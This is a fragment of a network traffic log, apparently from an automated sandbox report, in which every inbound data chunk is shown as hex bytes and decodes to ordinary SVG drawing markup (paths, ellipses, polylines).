2023-07-27 19:54:38 UTC	7125	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-07-27 19:54:38 UTC	7141	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-07-27 19:54:38 UTC	7157	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-07-27 19:54:38 UTC	7173	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-07-27 19:54:38 UTC	7189	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-07-27 19:54:38 UTC	7205	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M
2023-07-27 19:54:38 UTC	7221	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-07-27 19:54:38 UTC	7237	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-07-27 19:54:38 UTC	7253	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-07-27 19:54:38 UTC	7269	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-07-27 19:54:38 UTC	7285	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
2023-07-27 19:54:38 UTC	7301	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-07-27 19:54:38 UTC	7317	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-07-27 19:54:38 UTC	7333	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-07-27 19:54:38 UTC	7349	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-07-27 19:54:38 UTC	7365	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-07-27 19:54:38 UTC	7381	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:54:38 UTC	7397	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
